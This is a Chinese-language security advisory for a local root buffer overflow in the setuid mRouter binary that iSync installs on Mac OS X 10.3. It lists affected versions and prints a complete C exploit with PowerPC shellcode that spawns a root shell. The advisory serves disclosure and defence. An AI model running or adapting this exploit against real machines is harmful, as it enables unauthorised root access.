安全研究

安全漏洞
Mac OS X 10.3 iSync本地特权提升漏洞

发布日期:2005-01-22
更新日期:2005-02-04

受影响系统:
Apple MacOS X Server 10.3.6
Apple MacOS X Server 10.3.5
Apple MacOS X Server 10.3.4
Apple MacOS X Server 10.3.3
Apple MacOS X Server 10.3.2
Apple MacOS X Server 10.3.1
Apple MacOS X Server 10.3
Apple MacOS X 10.3.6
Apple MacOS X 10.3.5
Apple MacOS X 10.3.4
Apple MacOS X 10.3.3
Apple MacOS X 10.3.2
Apple MacOS X 10.3.1
Apple MacOS X 10.3
描述:
BUGTRAQ  ID: 12334

Mac OS X是一款基于BSD的操作系统。

Mac OS X包含的mRouter存在缓冲区溢出,本地攻击者可以利用这个漏洞获得ROOT特权。

mRouter由iSync默认以setuid root属性安装,mRouter对-v和-a参数缺少充分的边界缓冲区检查,精心构建提交参数,可以获得ROOT特权。

<*来源:Braden Thomas (bjthomas@usc.edu
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110642400018425&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

nemo提供了如下测试方法:

/*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,'|             _.-''``-...___..--';)
  *                    /_ \'.      __..-' ,      ,--...--'''
  *                   <\    .`--'''       `     /'
  *                   `-';'               ;   ; ;
  *              __...--''     ___...--_..'  .;.'
  *          fL (,__....----'''       (,..--''
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include <sys/types.h>
#include <string.h>
#include <unistd.h>

#define VULNPROG  
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter"
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
    unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
    char *env[]  = { "TERM=xterm", shellcode, NULL };

         memset(filler,(char)'A',sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

    execve(*args, args,env);

         return 0;
}

建议:
厂商补丁:

Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.apple.com

浏览次数:2560
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障